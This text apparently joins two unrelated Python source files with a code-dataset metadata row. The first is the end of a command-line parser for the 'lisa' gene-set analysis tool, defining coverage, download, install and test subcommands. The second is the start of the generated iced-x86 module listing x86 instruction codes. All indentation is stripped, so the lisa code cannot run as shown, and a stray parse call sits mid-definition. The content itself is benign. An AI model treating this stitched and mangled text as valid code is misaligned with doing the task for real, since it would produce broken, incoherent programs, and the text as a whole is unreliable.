coverage_parser = subparsers.add_parser('coverage', formatter_class = RstFormatter, add_help = False, description = '''
lisa coverage
------------
You have:
* one genelist
* bigwig of coverage over the genome
Use LISA to infer TF influence on your geneset using your own coverage data. This test is better suited than the "regions" test when your measure produces wide peaks/areas of influence.
An example of this is H3K27ac data, which correlates with gene expression similarly to accessibility, but produces wide peaks that may span many distinct TF binding locations.
Example::
$ lisa coverage -bw ./sample.bigwig -q ./genelist.txt --save_metadata > results.tsv
''')
coverage_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
coverage_parser.add_argument('-q', '--query_genes', required = True, type = argparse.FileType('r', encoding = 'utf-8'), help = 'user-supplied gene list. One gene per line in either symbol or refseqID format')
coverage_parser.add_argument('-bw', '--bigwig_path', type = confirm_file, required = True, help = 'Bigwig file describing coverage over the genome.')
coverage_optional = coverage_parser.add_argument_group('optional arguments')
build_from_genes_args(coverage_optional, False)
build_one_list_args(coverage_optional, default_background_strategy='all')
build_common_args(coverage_optional)
coverage_optional.add_argument('-h', '--help', action = 'help', default=SUPPRESS)
coverage_parser.set_defaults(func = lisa_coverage)
#__ download command ___
def lisa_download(args):
if args.command in ['oneshot','multi','coverage']:
_class = FromGenes
elif args.command == 'regions':
_class = FromRegions
else:
raise AssertionError('Command {} not recognized'.format(args.command))
if args.url:
print(_class.get_dataset_url(args.species))
else:
_class.download_dataset(args.species)
download_data_parser = subparsers.add_parser('download', description = 'Download data from CistromeDB. Use if data recieved is incomplete or malformed.')
download_data_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Download data associated with human (hg38) or mouse (mm10) genes')
download_data_parser.add_argument('command', choices=['oneshot', 'multi', 'regions', 'coverage'], help = 'For which command to download data')
download_data_parser.add_argument('--url', action = 'store_true', help = 'Get url for data download. Does not install data.')
download_data_parser.set_defaults(func = lisa_download)
#__ install command ___
def install_data(args):
if args.command in ['oneshot','multi','coverage']:
_class = FromGenes
elif args.command == 'regions':
_class = FromRegions
else:
raise AssertionError('Command {} not recognized'.format(args.command))
dataset_file_required = os.path.basename(_class.get_dataset_path(args.species))
if not args.force:
assert(dataset_file_required == os.path.basename(args.dataset)), 'The {} test requires dataset {}. Use --force to overide and install your own dataset.'.format(args.command, dataset_file_required)
if not os.path.isdir(INSTALL_PATH):
os.mkdir(INSTALL_PATH)
if args.remove:
os.rename(args.dataset, _class.get_dataset_path(args.species))
else:
copyfile(args.dataset, _class.get_dataset_path(args.species))
install_data_parser = subparsers.add_parser('install', description = 'Helper command for manually installing Lisa\'s data')
install_data_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Install data associated with human (hg38) or mouse (mm10) genes')
install_data_parser.add_argument('command', choices=['oneshot', 'multi', 'regions', 'coverage'], help = 'For which command to install data')
install_data_parser.add_argument('dataset', type = confirm_file, help = 'Path to downloaded h5 dataset')
install_data_parser.add_argument('--remove', action = 'store_true', help = 'Delete dataset after installation is complete.')
install_data_parser.add_argument('--force', action = 'store_true', help = 'Skip namecheck and install lisa custom dataset')
install_data_parser.set_defaults(func = install_data)
test_parser = subparsers.add_parser('run-tests')
test_parser.add_argument('species', type = str, choices=['hg38','mm10'])
test_parser.add_argument('test_genelist', type = confirm_file, help = 'test genelist for oneshot command')
test_parser.add_argument('background_genelist', type = confirm_file, help = 'background genelist for oneshot command')
test_parser.add_argument('genelists', nargs = '+', type = str, help = 'genelists for testing multi and one-vs-rest commands')
test_parser.add_argument('--skip_oneshot', action='store_true')
args = parser.parse_args()
test_parser.set_defaults(func = run_tests)
def main():
args = parser.parse_args()
try:
args.func
except AttributeError:
print(parser.print_help(), file = sys.stderr)
else:
try:
args.func(args)
except (AssertionError, DownloadRequiredError, DatasetNotFoundError, MultiError) as err:
print('ERROR: ' + str(err), file = sys.stderr)
sys.exit(1) | true | true |
f725f58bf735ca99258ae36b96512040ca305b63 | 608,328 | py | Python | src/rust/iced-x86-py/src/iced_x86/Code.py | woodruffw-forks/iced | cf23473cf26cd7215dee7510093fad140c696cc7 | [
"MIT"
] | 1 | 2021-06-10T15:26:22.000Z | 2021-06-10T15:26:22.000Z | src/rust/iced-x86-py/src/iced_x86/Code.py | paulfariello/iced | 08f663ae9626b05ab08ad36dd5143f94aed365b6 | [
"MIT"
] | null | null | null | src/rust/iced-x86-py/src/iced_x86/Code.py | paulfariello/iced | 08f663ae9626b05ab08ad36dd5143f94aed365b6 | [
"MIT"
] | null | null | null | # SPDX-License-Identifier: MIT
# Copyright (C) 2018-present iced project and contributors
# ⚠️This file was generated by GENERATOR!🦹♂️
# pylint: disable=invalid-name
# pylint: disable=line-too-long
# pylint: disable=too-many-lines
"""
x86 instruction code
"""
INVALID: int = 0
"""
It's an invalid instruction, eg. it's a new unknown instruction, garbage or there's not enough bytes to decode the instruction etc.
"""
DECLAREBYTE: int = 1
"""
A ``db``/``.byte`` asm directive that can store 1-16 bytes
"""
DECLAREWORD: int = 2
"""
A ``dw``/``.word`` asm directive that can store 1-8 words
"""
DECLAREDWORD: int = 3
"""
A ``dd``/``.int`` asm directive that can store 1-4 dwords
"""
DECLAREQWORD: int = 4
"""
A ``dq``/``.quad`` asm directive that can store 1-2 qwords
"""
ADD_RM8_R8: int = 5
"""
``ADD r/m8, r8``
``00 /r``
``8086+``
``16/32/64-bit``
"""
ADD_RM16_R16: int = 6
"""
``ADD r/m16, r16``
``o16 01 /r``
``8086+``
``16/32/64-bit``
"""
ADD_RM32_R32: int = 7
"""
``ADD r/m32, r32``
``o32 01 /r``
``386+``
``16/32/64-bit``
"""
ADD_RM64_R64: int = 8
"""
``ADD r/m64, r64``
``o64 01 /r``
``X64``
``64-bit``
"""
ADD_R8_RM8: int = 9
"""
``ADD r8, r/m8``
``02 /r``
``8086+``
``16/32/64-bit``
"""
ADD_R16_RM16: int = 10
"""
``ADD r16, r/m16``
``o16 03 /r``
``8086+``
``16/32/64-bit``
"""
ADD_R32_RM32: int = 11
"""
``ADD r32, r/m32``
``o32 03 /r``
``386+``
``16/32/64-bit``
"""
ADD_R64_RM64: int = 12
"""
``ADD r64, r/m64``
``o64 03 /r``
``X64``
``64-bit``
"""
ADD_AL_IMM8: int = 13
"""
``ADD AL, imm8``
``04 ib``
``8086+``
``16/32/64-bit``
"""
ADD_AX_IMM16: int = 14
"""
``ADD AX, imm16``
``o16 05 iw``
``8086+``
``16/32/64-bit``
"""
ADD_EAX_IMM32: int = 15
"""
``ADD EAX, imm32``
``o32 05 id``
``386+``
``16/32/64-bit``
"""
ADD_RAX_IMM32: int = 16
"""
``ADD RAX, imm32``
``o64 05 id``
``X64``
``64-bit``
"""
PUSHW_ES: int = 17
"""
``PUSH ES``
``o16 06``
``8086+``
``16/32-bit``
"""
PUSHD_ES: int = 18
"""
``PUSH ES``
``o32 06``
``386+``
``16/32-bit``
"""
POPW_ES: int = 19
"""
``POP ES``
``o16 07``
``8086+``
``16/32-bit``
"""
POPD_ES: int = 20
"""
``POP ES``
``o32 07``
``386+``
``16/32-bit``
"""
OR_RM8_R8: int = 21
"""
``OR r/m8, r8``
``08 /r``
``8086+``
``16/32/64-bit``
"""
OR_RM16_R16: int = 22
"""
``OR r/m16, r16``
``o16 09 /r``
``8086+``
``16/32/64-bit``
"""
OR_RM32_R32: int = 23
"""
``OR r/m32, r32``
``o32 09 /r``
``386+``
``16/32/64-bit``
"""
OR_RM64_R64: int = 24
"""
``OR r/m64, r64``
``o64 09 /r``
``X64``
``64-bit``
"""
OR_R8_RM8: int = 25
"""
``OR r8, r/m8``
``0A /r``
``8086+``
``16/32/64-bit``
"""
OR_R16_RM16: int = 26
"""
``OR r16, r/m16``
``o16 0B /r``
``8086+``
``16/32/64-bit``
"""
OR_R32_RM32: int = 27
"""
``OR r32, r/m32``
``o32 0B /r``
``386+``
``16/32/64-bit``
"""
OR_R64_RM64: int = 28
"""
``OR r64, r/m64``
``o64 0B /r``
``X64``
``64-bit``
"""
OR_AL_IMM8: int = 29
"""
``OR AL, imm8``
``0C ib``
``8086+``
``16/32/64-bit``
"""
OR_AX_IMM16: int = 30
"""
``OR AX, imm16``
``o16 0D iw``
``8086+``
``16/32/64-bit``
"""
OR_EAX_IMM32: int = 31
"""
``OR EAX, imm32``
``o32 0D id``
``386+``
``16/32/64-bit``
"""
OR_RAX_IMM32: int = 32
"""
``OR RAX, imm32``
``o64 0D id``
``X64``
``64-bit``
"""
PUSHW_CS: int = 33
"""
``PUSH CS``
``o16 0E``
``8086+``
``16/32-bit``
"""
PUSHD_CS: int = 34
"""
``PUSH CS``
``o32 0E``
``386+``
``16/32-bit``
"""
POPW_CS: int = 35
"""
``POP CS``
``o16 0F``
``8086``
``16-bit``
"""
ADC_RM8_R8: int = 36
"""
``ADC r/m8, r8``
``10 /r``
``8086+``
``16/32/64-bit``
"""
ADC_RM16_R16: int = 37
"""
``ADC r/m16, r16``
``o16 11 /r``
``8086+``
``16/32/64-bit``
"""
ADC_RM32_R32: int = 38
"""
``ADC r/m32, r32``
``o32 11 /r``
``386+``
``16/32/64-bit``
"""
ADC_RM64_R64: int = 39
"""
``ADC r/m64, r64``
``o64 11 /r``
``X64``
``64-bit``
"""
ADC_R8_RM8: int = 40
"""
``ADC r8, r/m8``
``12 /r``
``8086+``
``16/32/64-bit``
"""
ADC_R16_RM16: int = 41
"""
``ADC r16, r/m16``
``o16 13 /r``
``8086+``
``16/32/64-bit``
"""
ADC_R32_RM32: int = 42
"""
``ADC r32, r/m32``
``o32 13 /r``
``386+``
``16/32/64-bit``
"""
ADC_R64_RM64: int = 43
"""
``ADC r64, r/m64``
``o64 13 /r``
``X64``
``64-bit``
"""
ADC_AL_IMM8: int = 44
"""
``ADC AL, imm8``
``14 ib``
``8086+``
``16/32/64-bit``
"""
ADC_AX_IMM16: int = 45
"""
``ADC AX, imm16``
``o16 15 iw``
``8086+``
``16/32/64-bit``
"""
ADC_EAX_IMM32: int = 46
"""
``ADC EAX, imm32``
``o32 15 id``
``386+``
``16/32/64-bit``
"""
ADC_RAX_IMM32: int = 47
"""
``ADC RAX, imm32``
``o64 15 id``
``X64``
``64-bit``
"""
PUSHW_SS: int = 48
"""
``PUSH SS``
``o16 16``
``8086+``
``16/32-bit``
"""
PUSHD_SS: int = 49
"""
``PUSH SS``
``o32 16``
``386+``
``16/32-bit``
"""
POPW_SS: int = 50
"""
``POP SS``
``o16 17``
``8086+``
``16/32-bit``
"""
POPD_SS: int = 51
"""
``POP SS``
``o32 17``
``386+``
``16/32-bit``
"""
SBB_RM8_R8: int = 52
"""
``SBB r/m8, r8``
``18 /r``
``8086+``
``16/32/64-bit``
"""
SBB_RM16_R16: int = 53
"""
``SBB r/m16, r16``
``o16 19 /r``
``8086+``
``16/32/64-bit``
"""
SBB_RM32_R32: int = 54
"""
``SBB r/m32, r32``
``o32 19 /r``
``386+``
``16/32/64-bit``
"""
SBB_RM64_R64: int = 55
"""
``SBB r/m64, r64``
``o64 19 /r``
``X64``
``64-bit``
"""
SBB_R8_RM8: int = 56
"""
``SBB r8, r/m8``
``1A /r``
``8086+``
``16/32/64-bit``
"""
SBB_R16_RM16: int = 57
"""
``SBB r16, r/m16``
``o16 1B /r``
``8086+``
``16/32/64-bit``
"""
SBB_R32_RM32: int = 58
"""
``SBB r32, r/m32``
``o32 1B /r``
``386+``
``16/32/64-bit``
"""
SBB_R64_RM64: int = 59
"""
``SBB r64, r/m64``
``o64 1B /r``
``X64``
``64-bit``
"""
SBB_AL_IMM8: int = 60
"""
``SBB AL, imm8``
``1C ib``
``8086+``
``16/32/64-bit``
"""
SBB_AX_IMM16: int = 61
"""
``SBB AX, imm16``
``o16 1D iw``
``8086+``
``16/32/64-bit``
"""
SBB_EAX_IMM32: int = 62
"""
``SBB EAX, imm32``
``o32 1D id``
``386+``
``16/32/64-bit``
"""
SBB_RAX_IMM32: int = 63
"""
``SBB RAX, imm32``
``o64 1D id``
``X64``
``64-bit``
"""
PUSHW_DS: int = 64
"""
``PUSH DS``
``o16 1E``
``8086+``
``16/32-bit``
"""
PUSHD_DS: int = 65
"""
``PUSH DS``
``o32 1E``
``386+``
``16/32-bit``
"""
POPW_DS: int = 66
"""
``POP DS``
``o16 1F``
``8086+``
``16/32-bit``
"""
POPD_DS: int = 67
"""
``POP DS``
``o32 1F``
``386+``
``16/32-bit``
"""
AND_RM8_R8: int = 68
"""
``AND r/m8, r8``
``20 /r``
``8086+``
``16/32/64-bit``
"""
AND_RM16_R16: int = 69
"""
``AND r/m16, r16``
``o16 21 /r``
``8086+``
``16/32/64-bit``
"""
AND_RM32_R32: int = 70
"""
``AND r/m32, r32``
``o32 21 /r``
``386+``
``16/32/64-bit``
"""
AND_RM64_R64: int = 71
"""
``AND r/m64, r64``
``o64 21 /r``
``X64``
``64-bit``
"""
AND_R8_RM8: int = 72
"""
``AND r8, r/m8``
``22 /r``
``8086+``
``16/32/64-bit``
"""
AND_R16_RM16: int = 73
"""
``AND r16, r/m16``
``o16 23 /r``
``8086+``
``16/32/64-bit``
"""
AND_R32_RM32: int = 74
"""
``AND r32, r/m32``
``o32 23 /r``
``386+``
``16/32/64-bit``
"""
AND_R64_RM64: int = 75
"""
``AND r64, r/m64``
``o64 23 /r``
``X64``
``64-bit``
"""
AND_AL_IMM8: int = 76
"""
``AND AL, imm8``
``24 ib``
``8086+``
``16/32/64-bit``
"""
AND_AX_IMM16: int = 77
"""
``AND AX, imm16``
``o16 25 iw``
``8086+``
``16/32/64-bit``
"""
AND_EAX_IMM32: int = 78
"""
``AND EAX, imm32``
``o32 25 id``
``386+``
``16/32/64-bit``
"""
AND_RAX_IMM32: int = 79
"""
``AND RAX, imm32``
``o64 25 id``
``X64``
``64-bit``
"""
DAA: int = 80
"""
``DAA``
``27``
``8086+``
``16/32-bit``
"""
SUB_RM8_R8: int = 81
"""
``SUB r/m8, r8``
``28 /r``
``8086+``
``16/32/64-bit``
"""
SUB_RM16_R16: int = 82
"""
``SUB r/m16, r16``
``o16 29 /r``
``8086+``
``16/32/64-bit``
"""
SUB_RM32_R32: int = 83
"""
``SUB r/m32, r32``
``o32 29 /r``
``386+``
``16/32/64-bit``
"""
SUB_RM64_R64: int = 84
"""
``SUB r/m64, r64``
``o64 29 /r``
``X64``
``64-bit``
"""
SUB_R8_RM8: int = 85
"""
``SUB r8, r/m8``
``2A /r``
``8086+``
``16/32/64-bit``
"""
SUB_R16_RM16: int = 86
"""
``SUB r16, r/m16``
``o16 2B /r``
``8086+``
``16/32/64-bit``
"""
SUB_R32_RM32: int = 87
"""
``SUB r32, r/m32``
``o32 2B /r``
``386+``
``16/32/64-bit``
"""
SUB_R64_RM64: int = 88
"""
``SUB r64, r/m64``
``o64 2B /r``
``X64``
``64-bit``
"""
SUB_AL_IMM8: int = 89
"""
``SUB AL, imm8``
``2C ib``
``8086+``
``16/32/64-bit``
"""
SUB_AX_IMM16: int = 90
"""
``SUB AX, imm16``
``o16 2D iw``
``8086+``
``16/32/64-bit``
"""
SUB_EAX_IMM32: int = 91
"""
``SUB EAX, imm32``
``o32 2D id``
``386+``
``16/32/64-bit``
"""
SUB_RAX_IMM32: int = 92
"""
``SUB RAX, imm32``
``o64 2D id``
``X64``
``64-bit``
"""
DAS: int = 93
"""
``DAS``
``2F``
``8086+``
``16/32-bit``
"""
XOR_RM8_R8: int = 94
"""
``XOR r/m8, r8``
``30 /r``
``8086+``
``16/32/64-bit``
"""
XOR_RM16_R16: int = 95
"""
``XOR r/m16, r16``
``o16 31 /r``
``8086+``
``16/32/64-bit``
"""
XOR_RM32_R32: int = 96
"""
``XOR r/m32, r32``
``o32 31 /r``
``386+``
``16/32/64-bit``
"""
XOR_RM64_R64: int = 97
"""
``XOR r/m64, r64``
``o64 31 /r``
``X64``
``64-bit``
"""
XOR_R8_RM8: int = 98
"""
``XOR r8, r/m8``
``32 /r``
``8086+``
``16/32/64-bit``
"""
XOR_R16_RM16: int = 99
"""
``XOR r16, r/m16``
``o16 33 /r``
``8086+``
``16/32/64-bit``
"""
XOR_R32_RM32: int = 100
"""
``XOR r32, r/m32``
``o32 33 /r``
``386+``
``16/32/64-bit``
"""
XOR_R64_RM64: int = 101
"""
``XOR r64, r/m64``
``o64 33 /r``
``X64``
``64-bit``
"""
XOR_AL_IMM8: int = 102
"""
``XOR AL, imm8``
``34 ib``
``8086+``
``16/32/64-bit``
"""
XOR_AX_IMM16: int = 103
"""
``XOR AX, imm16``
``o16 35 iw``
``8086+``
``16/32/64-bit``
"""
XOR_EAX_IMM32: int = 104
"""
``XOR EAX, imm32``
``o32 35 id``
``386+``
``16/32/64-bit``
"""
XOR_RAX_IMM32: int = 105
"""
``XOR RAX, imm32``
``o64 35 id``
``X64``
``64-bit``
"""
AAA: int = 106
"""
``AAA``
``37``
``8086+``
``16/32-bit``
"""
CMP_RM8_R8: int = 107
"""
``CMP r/m8, r8``
``38 /r``
``8086+``
``16/32/64-bit``
"""
CMP_RM16_R16: int = 108
"""
``CMP r/m16, r16``
``o16 39 /r``
``8086+``
``16/32/64-bit``
"""
CMP_RM32_R32: int = 109
"""
``CMP r/m32, r32``
``o32 39 /r``
``386+``
``16/32/64-bit``
"""
CMP_RM64_R64: int = 110
"""
``CMP r/m64, r64``
``o64 39 /r``
``X64``
``64-bit``
"""
CMP_R8_RM8: int = 111
"""
``CMP r8, r/m8``
``3A /r``
``8086+``
``16/32/64-bit``
"""
CMP_R16_RM16: int = 112
"""
``CMP r16, r/m16``
``o16 3B /r``
``8086+``
``16/32/64-bit``
"""
CMP_R32_RM32: int = 113
"""
``CMP r32, r/m32``
``o32 3B /r``
``386+``
``16/32/64-bit``
"""
CMP_R64_RM64: int = 114
"""
``CMP r64, r/m64``
``o64 3B /r``
``X64``
``64-bit``
"""
CMP_AL_IMM8: int = 115
"""
``CMP AL, imm8``
``3C ib``
``8086+``
``16/32/64-bit``
"""
CMP_AX_IMM16: int = 116
"""
``CMP AX, imm16``
``o16 3D iw``
``8086+``
``16/32/64-bit``
"""
CMP_EAX_IMM32: int = 117
"""
``CMP EAX, imm32``
``o32 3D id``
``386+``
``16/32/64-bit``
"""
CMP_RAX_IMM32: int = 118
"""
``CMP RAX, imm32``
``o64 3D id``
``X64``
``64-bit``
"""
AAS: int = 119
"""
``AAS``
``3F``
``8086+``
``16/32-bit``
"""
INC_R16: int = 120
"""
``INC r16``
``o16 40+rw``
``8086+``
``16/32-bit``
"""
INC_R32: int = 121
"""
``INC r32``
``o32 40+rd``
``386+``
``16/32-bit``
"""
DEC_R16: int = 122
"""
``DEC r16``
``o16 48+rw``
``8086+``
``16/32-bit``
"""
DEC_R32: int = 123
"""
``DEC r32``
``o32 48+rd``
``386+``
``16/32-bit``
"""
PUSH_R16: int = 124
"""
``PUSH r16``
``o16 50+rw``
``8086+``
``16/32/64-bit``
"""
PUSH_R32: int = 125
"""
``PUSH r32``
``o32 50+rd``
``386+``
``16/32-bit``
"""
PUSH_R64: int = 126
"""
``PUSH r64``
``o64 50+ro``
``X64``
``64-bit``
"""
POP_R16: int = 127
"""
``POP r16``
``o16 58+rw``
``8086+``
``16/32/64-bit``
"""
POP_R32: int = 128
"""
``POP r32``
``o32 58+rd``
``386+``
``16/32-bit``
"""
POP_R64: int = 129
"""
``POP r64``
``o64 58+ro``
``X64``
``64-bit``
"""
PUSHAW: int = 130
"""
``PUSHA``
``o16 60``
``186+``
``16/32-bit``
"""
PUSHAD: int = 131
"""
``PUSHAD``
``o32 60``
``386+``
``16/32-bit``
"""
POPAW: int = 132
"""
``POPA``
``o16 61``
``186+``
``16/32-bit``
"""
POPAD: int = 133
"""
``POPAD``
``o32 61``
``386+``
``16/32-bit``
"""
BOUND_R16_M1616: int = 134
"""
``BOUND r16, m16&16``
``o16 62 /r``
``186+``
``16/32-bit``
"""
BOUND_R32_M3232: int = 135
"""
``BOUND r32, m32&32``
``o32 62 /r``
``386+``
``16/32-bit``
"""
ARPL_RM16_R16: int = 136
"""
``ARPL r/m16, r16``
``o16 63 /r``
``286+``
``16/32-bit``
"""
ARPL_R32M16_R32: int = 137
"""
``ARPL r32/m16, r32``
``o32 63 /r``
``386+``
``16/32-bit``
"""
MOVSXD_R16_RM16: int = 138
"""
``MOVSXD r16, r/m16``
``o16 63 /r``
``X64``
``64-bit``
"""
MOVSXD_R32_RM32: int = 139
"""
``MOVSXD r32, r/m32``
``o32 63 /r``
``X64``
``64-bit``
"""
MOVSXD_R64_RM32: int = 140
"""
``MOVSXD r64, r/m32``
``o64 63 /r``
``X64``
``64-bit``
"""
PUSH_IMM16: int = 141
"""
``PUSH imm16``
``o16 68 iw``
``186+``
``16/32/64-bit``
"""
PUSHD_IMM32: int = 142
"""
``PUSH imm32``
``o32 68 id``
``386+``
``16/32-bit``
"""
PUSHQ_IMM32: int = 143
"""
``PUSH imm32``
``o64 68 id``
``X64``
``64-bit``
"""
IMUL_R16_RM16_IMM16: int = 144
"""
``IMUL r16, r/m16, imm16``
``o16 69 /r iw``
``186+``
``16/32/64-bit``
"""
IMUL_R32_RM32_IMM32: int = 145
"""
``IMUL r32, r/m32, imm32``
``o32 69 /r id``
``386+``
``16/32/64-bit``
"""
IMUL_R64_RM64_IMM32: int = 146
"""
``IMUL r64, r/m64, imm32``
``o64 69 /r id``
``X64``
``64-bit``
"""
PUSHW_IMM8: int = 147
"""
``PUSH imm8``
``o16 6A ib``
``186+``
``16/32/64-bit``
"""
PUSHD_IMM8: int = 148
"""
``PUSH imm8``
``o32 6A ib``
``386+``
``16/32-bit``
"""
PUSHQ_IMM8: int = 149
"""
``PUSH imm8``
``o64 6A ib``
``X64``
``64-bit``
"""
IMUL_R16_RM16_IMM8: int = 150
"""
``IMUL r16, r/m16, imm8``
``o16 6B /r ib``
``186+``
``16/32/64-bit``
"""
IMUL_R32_RM32_IMM8: int = 151
"""
``IMUL r32, r/m32, imm8``
``o32 6B /r ib``
``386+``
``16/32/64-bit``
"""
IMUL_R64_RM64_IMM8: int = 152
"""
``IMUL r64, r/m64, imm8``
``o64 6B /r ib``
``X64``
``64-bit``
"""
INSB_M8_DX: int = 153
"""
``INSB``
``6C``
``186+``
``16/32/64-bit``
"""
INSW_M16_DX: int = 154
"""
``INSW``
``o16 6D``
``186+``
``16/32/64-bit``
"""
INSD_M32_DX: int = 155
"""
``INSD``
``o32 6D``
``386+``
``16/32/64-bit``
"""
OUTSB_DX_M8: int = 156
"""
``OUTSB``
``6E``
``186+``
``16/32/64-bit``
"""
OUTSW_DX_M16: int = 157
"""
``OUTSW``
``o16 6F``
``186+``
``16/32/64-bit``
"""
OUTSD_DX_M32: int = 158
"""
``OUTSD``
``o32 6F``
``386+``
``16/32/64-bit``
"""
JO_REL8_16: int = 159
"""
``JO rel8``
``o16 70 cb``
``8086+``
``16/32/64-bit``
"""
JO_REL8_32: int = 160
"""
``JO rel8``
``o32 70 cb``
``386+``
``16/32-bit``
"""
JO_REL8_64: int = 161
"""
``JO rel8``
``o64 70 cb``
``X64``
``64-bit``
"""
JNO_REL8_16: int = 162
"""
``JNO rel8``
``o16 71 cb``
``8086+``
``16/32/64-bit``
"""
JNO_REL8_32: int = 163
"""
``JNO rel8``
``o32 71 cb``
``386+``
``16/32-bit``
"""
JNO_REL8_64: int = 164
"""
``JNO rel8``
``o64 71 cb``
``X64``
``64-bit``
"""
JB_REL8_16: int = 165
"""
``JB rel8``
``o16 72 cb``
``8086+``
``16/32/64-bit``
"""
JB_REL8_32: int = 166
"""
``JB rel8``
``o32 72 cb``
``386+``
``16/32-bit``
"""
JB_REL8_64: int = 167
"""
``JB rel8``
``o64 72 cb``
``X64``
``64-bit``
"""
JAE_REL8_16: int = 168
"""
``JAE rel8``
``o16 73 cb``
``8086+``
``16/32/64-bit``
"""
JAE_REL8_32: int = 169
"""
``JAE rel8``
``o32 73 cb``
``386+``
``16/32-bit``
"""
JAE_REL8_64: int = 170
"""
``JAE rel8``
``o64 73 cb``
``X64``
``64-bit``
"""
JE_REL8_16: int = 171
"""
``JE rel8``
``o16 74 cb``
``8086+``
``16/32/64-bit``
"""
JE_REL8_32: int = 172
"""
``JE rel8``
``o32 74 cb``
``386+``
``16/32-bit``
"""
JE_REL8_64: int = 173
"""
``JE rel8``
``o64 74 cb``
``X64``
``64-bit``
"""
JNE_REL8_16: int = 174
"""
``JNE rel8``
``o16 75 cb``
``8086+``
``16/32/64-bit``
"""
JNE_REL8_32: int = 175
"""
``JNE rel8``
``o32 75 cb``
``386+``
``16/32-bit``
"""
JNE_REL8_64: int = 176
"""
``JNE rel8``
``o64 75 cb``
``X64``
``64-bit``
"""
JBE_REL8_16: int = 177
"""
``JBE rel8``
``o16 76 cb``
``8086+``
``16/32/64-bit``
"""
JBE_REL8_32: int = 178
"""
``JBE rel8``
``o32 76 cb``
``386+``
``16/32-bit``
"""
JBE_REL8_64: int = 179
"""
``JBE rel8``
``o64 76 cb``
``X64``
``64-bit``
"""
JA_REL8_16: int = 180
"""
``JA rel8``
``o16 77 cb``
``8086+``
``16/32/64-bit``
"""
JA_REL8_32: int = 181
"""
``JA rel8``
``o32 77 cb``
``386+``
``16/32-bit``
"""
JA_REL8_64: int = 182
"""
``JA rel8``
``o64 77 cb``
``X64``
``64-bit``
"""
JS_REL8_16: int = 183
"""
``JS rel8``
``o16 78 cb``
``8086+``
``16/32/64-bit``
"""
JS_REL8_32: int = 184
"""
``JS rel8``
``o32 78 cb``
``386+``
``16/32-bit``
"""
JS_REL8_64: int = 185
"""
``JS rel8``
``o64 78 cb``
``X64``
``64-bit``
"""
JNS_REL8_16: int = 186
"""
``JNS rel8``
``o16 79 cb``
``8086+``
``16/32/64-bit``
"""
JNS_REL8_32: int = 187
"""
``JNS rel8``
``o32 79 cb``
``386+``
``16/32-bit``
"""
JNS_REL8_64: int = 188
"""
``JNS rel8``
``o64 79 cb``
``X64``
``64-bit``
"""
JP_REL8_16: int = 189
"""
``JP rel8``
``o16 7A cb``
``8086+``
``16/32/64-bit``
"""
JP_REL8_32: int = 190
"""
``JP rel8``
``o32 7A cb``
``386+``
``16/32-bit``
"""
JP_REL8_64: int = 191
"""
``JP rel8``
``o64 7A cb``
``X64``
``64-bit``
"""
JNP_REL8_16: int = 192
"""
``JNP rel8``
``o16 7B cb``
``8086+``
``16/32/64-bit``
"""
JNP_REL8_32: int = 193
"""
``JNP rel8``
``o32 7B cb``
``386+``
``16/32-bit``
"""
JNP_REL8_64: int = 194
"""
``JNP rel8``
``o64 7B cb``
``X64``
``64-bit``
"""
JL_REL8_16: int = 195
"""
``JL rel8``
``o16 7C cb``
``8086+``
``16/32/64-bit``
"""
JL_REL8_32: int = 196
"""
``JL rel8``
``o32 7C cb``
``386+``
``16/32-bit``
"""
JL_REL8_64: int = 197
"""
``JL rel8``
``o64 7C cb``
``X64``
``64-bit``
"""
JGE_REL8_16: int = 198
"""
``JGE rel8``
``o16 7D cb``
``8086+``
``16/32/64-bit``
"""
JGE_REL8_32: int = 199
"""
``JGE rel8``
``o32 7D cb``
``386+``
``16/32-bit``
"""
JGE_REL8_64: int = 200
"""
``JGE rel8``
``o64 7D cb``
``X64``
``64-bit``
"""
JLE_REL8_16: int = 201
"""
``JLE rel8``
``o16 7E cb``
``8086+``
``16/32/64-bit``
"""
JLE_REL8_32: int = 202
"""
``JLE rel8``
``o32 7E cb``
``386+``
``16/32-bit``
"""
JLE_REL8_64: int = 203
"""
``JLE rel8``
``o64 7E cb``
``X64``
``64-bit``
"""
JG_REL8_16: int = 204
"""
``JG rel8``
``o16 7F cb``
``8086+``
``16/32/64-bit``
"""
JG_REL8_32: int = 205
"""
``JG rel8``
``o32 7F cb``
``386+``
``16/32-bit``
"""
JG_REL8_64: int = 206
"""
``JG rel8``
``o64 7F cb``
``X64``
``64-bit``
"""
ADD_RM8_IMM8: int = 207
"""
``ADD r/m8, imm8``
``80 /0 ib``
``8086+``
``16/32/64-bit``
"""
OR_RM8_IMM8: int = 208
"""
``OR r/m8, imm8``
``80 /1 ib``
``8086+``
``16/32/64-bit``
"""
ADC_RM8_IMM8: int = 209
"""
``ADC r/m8, imm8``
``80 /2 ib``
``8086+``
``16/32/64-bit``
"""
SBB_RM8_IMM8: int = 210
"""
``SBB r/m8, imm8``
``80 /3 ib``
``8086+``
``16/32/64-bit``
"""
AND_RM8_IMM8: int = 211
"""
``AND r/m8, imm8``
``80 /4 ib``
``8086+``
``16/32/64-bit``
"""
SUB_RM8_IMM8: int = 212
"""
``SUB r/m8, imm8``
``80 /5 ib``
``8086+``
``16/32/64-bit``
"""
XOR_RM8_IMM8: int = 213
"""
``XOR r/m8, imm8``
``80 /6 ib``
``8086+``
``16/32/64-bit``
"""
CMP_RM8_IMM8: int = 214
"""
``CMP r/m8, imm8``
``80 /7 ib``
``8086+``
``16/32/64-bit``
"""
ADD_RM16_IMM16: int = 215
"""
``ADD r/m16, imm16``
``o16 81 /0 iw``
``8086+``
``16/32/64-bit``
"""
ADD_RM32_IMM32: int = 216
"""
``ADD r/m32, imm32``
``o32 81 /0 id``
``386+``
``16/32/64-bit``
"""
ADD_RM64_IMM32: int = 217
"""
``ADD r/m64, imm32``
``o64 81 /0 id``
``X64``
``64-bit``
"""
OR_RM16_IMM16: int = 218
"""
``OR r/m16, imm16``
``o16 81 /1 iw``
``8086+``
``16/32/64-bit``
"""
OR_RM32_IMM32: int = 219
"""
``OR r/m32, imm32``
``o32 81 /1 id``
``386+``
``16/32/64-bit``
"""
OR_RM64_IMM32: int = 220
"""
``OR r/m64, imm32``
``o64 81 /1 id``
``X64``
``64-bit``
"""
ADC_RM16_IMM16: int = 221
"""
``ADC r/m16, imm16``
``o16 81 /2 iw``
``8086+``
``16/32/64-bit``
"""
ADC_RM32_IMM32: int = 222
"""
``ADC r/m32, imm32``
``o32 81 /2 id``
